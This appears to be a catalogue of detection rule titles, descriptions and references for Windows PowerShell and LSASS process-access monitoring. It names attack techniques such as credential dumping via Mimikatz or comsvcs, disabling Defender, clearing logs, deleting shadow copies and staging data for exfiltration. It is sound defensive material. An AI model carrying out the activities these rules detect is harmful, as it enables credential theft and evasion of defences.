PowerShell Set-Acl On Windows Folder - PsScript	Detects PowerShell scripts to set the ACL to a file in the Windows folder	https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1
Change PowerShell Policies to an Insecure Level - PowerShell	Detects changing the PowerShell script execution policy to a potentially insecure level using the "Set-ExecutionPolicy" cmdlet.	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4, https://adsecurity.org/?p=2604
PowerShell ShellCode	Detects Base64 encoded Shellcode	https://twitter.com/cyb3rops/status/1063072865992523776
Malicious ShellIntel PowerShell Commandlets	Detects Commandlet names from ShellIntel exploitation scripts.	https://github.com/Shellntel/scripts/
Detected Windows Software Discovery - PowerShell	Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md, https://github.com/harleyQu1nn/AggressorScripts
Powershell Store File In Alternate Data Stream	Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md
Potential Persistence Via Security Descriptors - ScriptBlock	Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.	https://github.com/HarmJ0y/DAMP
AD Groups Or Users Enumeration Using PowerShell - ScriptBlock	Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md
Potential PowerShell Obfuscation Using Character Join	Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation	Internal Research
Suspicious Eventlog Clear	Detects usage of known powershell cmdlets such as "Clear-EventLog" to clear the Windows event logs	https://twitter.com/oroneequalsone/status/1568432028361830402, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md, https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html
Powershell Directory Enumeration	Detects technique used by MAZE ransomware to enumerate directories using Powershell	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md, https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents
Suspicious PowerShell Download - Powershell Script	Detects suspicious PowerShell download command	https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0, https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=net-8.0
Powershell Execute Batch Script	Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script
Troubleshooting Pack Cmdlet Execution	Detects execution of "TroubleshootingPack" cmdlets to leverage CVE-2022-30190 or action similar to "msdt" lolbin (as described in LOLBAS)	https://twitter.com/nas_bench/status/1537919885031772161, https://lolbas-project.github.io/lolbas/Binaries/Msdt/
Extracting Information with PowerShell	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
PowerShell Get-Process LSASS in ScriptBlock	Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity	https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211
Suspicious GetTypeFromCLSID ShellExecute	Detects suspicious Powershell code that execute COM Objects	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object
Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy	Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy, https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps
Suspicious PowerShell Get Current User	Detects the use of PowerShell to identify the current logged user.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script
Suspicious GPO Discovery With Get-GPO	Detect use of Get-GPO to get one GPO or all the GPOs in a domain.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md, https://learn.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps
Suspicious Process Discovery With Get-Process	Get the processes that are running on the local computer.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7.4
Suspicious Hyper-V Cmdlets	Adversaries may carry out malicious operations using a virtual instance to avoid detection	https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine
Suspicious PowerShell Invocations - Generic	Detects suspicious PowerShell invocation command parameters	Internal Research
Suspicious PowerShell Invocations - Specific	Detects suspicious PowerShell invocation command parameters	Internal Research
Suspicious IO.FileStream	Open a handle on the drive volume via the \\.\ DOS device path specifier and perform direct access read of the first few bytes of the volume.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md
Change User Agents with WebRequest	Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols
Potential Keylogger Activity	Detects PowerShell scripts that contains reference to keystroke capturing functions	https://twitter.com/ScumBots/status/1610626724257046529, https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9c81655093be93876e0d80732e7eeaf7d83476/content, https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bcc28a4f456e200486dbd401b25af6da3b4da62/content, https://learn.microsoft.com/en-us/dotnet/api/system.windows.input.keyboard.iskeydown?view=windowsdesktop-7.0
Suspicious Get Local Groups Information - PowerShell	Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
Potential Suspicious PowerShell Keywords	Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework	https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462, https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1, https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1, https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7
Powershell Local Email Collection	Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a users local system, such as Outlook storage or cache files.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md
PowerShell Deleted Mounted Share	Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md
Suspicious Mount-DiskImage	Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image, https://learn.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps
Suspicious Connection to Remote Account	Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos
Suspicious New-PSDrive to Admin Share	Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2
Suspicious TCP Tunnel Via PowerShell Script	Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity	https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1
Recon Information for Export with PowerShell	Once established within a system or network, an adversary may use automated techniques for collecting internal data	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md
Remove Account From Domain Admin Group	Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group
Suspicious Service DACL Modification Via Set-Service Cmdlet - PS	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)	https://twitter.com/Alh4zr3d/status/1580925761996828672, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2
Suspicious Get Information for SMB Share	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md
Potential PowerShell Obfuscation Using Alias Cmdlets	Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts	https://github.com/1337Rin/Swag-PSO
Suspicious SSL Connection	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2, https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926
Suspicious Start-Process PassThru	Powershell use PassThru option to start in background	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7
Suspicious Unblock-File	Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2
Powershell Suspicious Win32_PnPEntity	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md
Replace Desktop Wallpaper by Powershell	An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md
Delete Volume Shadow Copies via WMI with PowerShell - PS Script	Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell
Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script	Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell, https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html
Suspicious PowerShell WindowStyle Option	Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md
PowerShell Write-EventLog Usage	Detects usage of the "Write-EventLog" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use	https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/
Zip A Folder With PowerShell For Staging In Temp - PowerShell Script	Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
SyncAppvPublishingServer Execution to Bypass Powershell Restriction	Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.	https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging	Detects attempts to remove Windows Defender configuration using the 'MpPreference' cmdlet	https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088
Tamper Windows Defender - ScriptBlockLogging	Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps, https://bidouillesecurity.com/disable-windows-defender-in-powershell/
Testing Usage of Uncommonly Used Port	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell, https://learn.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps
Powershell Timestomp	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md, https://www.offensive-security.com/metasploit-unleashed/timestomp/
Powershell Token Obfuscation - Powershell	Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation	https://github.com/danielbohannon/Invoke-Obfuscation
User Discovery And Export Via Get-ADUser Cmdlet - PowerShell	Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file	http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html, https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/
Potential Persistence Via PowerShell User Profile Using Add-Content	Detects calls to "Add-Content" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md
Abuse of Service Permissions to Hide Services Via Set-Service - PS	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)	https://twitter.com/Alh4zr3d/status/1580925761996828672, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2
Veeam Backup Servers Credential Dumping Script Execution	Detects execution of a PowerShell script that contains calls to the "Veeam.Backup" class, in order to dump stored credentials.	https://www.pwndefend.com/2021/02/15/retrieving-passwords-from-veeam-backup-servers/, https://labs.withsecure.com/publications/fin7-target-veeam-servers
Usage Of Web Request Commands And Cmdlets - ScriptBlock	Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs	https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/, https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript	Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script	https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394225(v=vs.85)
PowerShell WMI Win32_Product Install MSI	Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
Windows Firewall Profile Disabled	Detects when a user disables the Windows Firewall via a Profile to help evade defense.	https://learn.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2022-ps, https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell, https://web.archive.org/web/20230929023836/http://powershellhelp.space/commands/set-netfirewallrule-psv5.php, http://woshub.com/manage-windows-firewall-powershell/, https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html
Winlogon Helper DLL	Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md
Potential WinAPI Calls Via PowerShell Scripts	Detects use of WinAPI functions in PowerShell scripts	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
Windows Defender Exclusions Added - PowerShell	Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions	https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html
WMImplant Hack Tool	Detects parameters used by WMImplant	https://github.com/FortyNorthSecurity/WMImplant
Powershell WMI Persistence	Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md, https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545
WMIC Unquoted Services Path Lookup - PowerShell	Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts	https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py, https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1, https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
Suspicious X509Enrollment - Ps Script	Detect use of X509Enrollment	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42, https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41, https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115
Powershell XML Execute Command	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests
CMSTP Execution Process Access	Detects various indicators of Microsoft Connection Manager Profile Installer execution	https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
HackTool - CobaltStrike BOF Injection Pattern	Detects a typical pattern of a CobaltStrike BOF which inject into other processes	https://github.com/boku7/injectAmsiBypass, https://github.com/boku7/spawn
HackTool - Generic Process Access	Detects process access requests from hacktool processes based on their default image name	https://jsecurity101.medium.com/bypassing-access-mask-auditing-strategies-480fb641c158, https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html
HackTool - LittleCorporal Generated Maldoc Injection	Detects the process injection of a LittleCorporal generated Maldoc.	https://github.com/connormcgarr/LittleCorporal
HackTool - HandleKatz Duplicating LSASS Handle	Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles	https://github.com/codewhitesec/HandleKatz
Lsass Memory Dump via Comsvcs DLL	Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.	https://twitter.com/shantanukhande/status/1229348874298388484, https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
HackTool - SysmonEnte Execution	Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon	https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html, https://github.com/codewhitesec/SysmonEnte/, https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png
LSASS Memory Access by Tool With Dump Keyword In Name	Detects LSASS process access requests from a source process with the "dump" keyword in its image name.	https://twitter.com/_xpn_/status/1491557187168178176, https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz
Potential Credential Dumping Activity Via LSASS	Detects process access requests to the LSASS process with specific call trace calls and access masks. This behaviour is expressed by many credential dumping tools such as Mimikatz, NanoDump, Invoke-Mimikatz, Procdump and even the Taskmgr dumping feature.	https://web.archive.org/web/20230329170326/https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html, https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md, https://research.splunk.com/endpoint/windows_possible_credential_dumping/
Credential Dumping Activity By Python Based Tool	Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.	https://twitter.com/bh4b3sh/status/1303674603819081728, https://github.com/skelsec/pypykatz
Remote LSASS Process Access Through Windows Remote Management	Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.	https://pentestlab.blog/2018/05/15/lateral-movement-winrm/
Suspicious LSASS Access Via MalSecLogon	Detects suspicious access to LSASS handle via a call trace to "seclogon.dll" with a suspicious access right.	https://twitter.com/SBousseaden/status/1541920424635912196, https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml, https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html
Potentially Suspicious GrantedAccess Flags On LSASS	Detects process access requests to LSASS process with potentially suspicious access flags	https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights, https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow, https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html, https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://web.archive.org/web/20230420013146/http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf
Credential Dumping Attempt Via WerFault	Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.	https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507
LSASS Access From Potentially White-Listed Processes	Detects a possible process memory dump that uses a white-listed filename like TrolleyExpress.exe as a way to dump the LSASS process memory without Microsoft Defender interference	https://twitter.com/_xpn_/status/1491557187168178176, https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz, https://twitter.com/mrd0x/status/1460597833917251595
Uncommon Process Access Rights For Target Image	Detects process access request to uncommon target images with a "PROCESS_ALL_ACCESS" access mask.	https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
Potential Direct Syscall of NtOpenProcess	Detects potential calls to NtOpenProcess directly from NTDLL.	https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6
Credential Dumping Attempt Via Svchost	Detects when a process tries to access the memory of svchost to potentially dump credentials.	Internal Research
Suspicious Svchost Process Access	Detects suspicious access to the "svchost" process such as that used by Invoke-Phantom to kill the thread of the Windows event logging service.	https://github.com/hlldz/Invoke-Phant0m, https://twitter.com/timbmsft/status/900724491076214784
Function Call From Undocumented COM Interface EditionUpgradeManager	Detects function calls from the EditionUpgradeManager COM interface. Which is an interface that is not used by standard executables.	https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/, https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611
UAC Bypass Using WOW64 Logger DLL Hijack	Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)	https://github.com/hfiref0x/UACME
Compress Data and Lock With Password for Exfiltration With 7-ZIP	An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
7Zip Compressing Dump Files	Detects execution of 7z in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.	https://thedfirreport.com/2022/09/26/bumblebee-round-two/
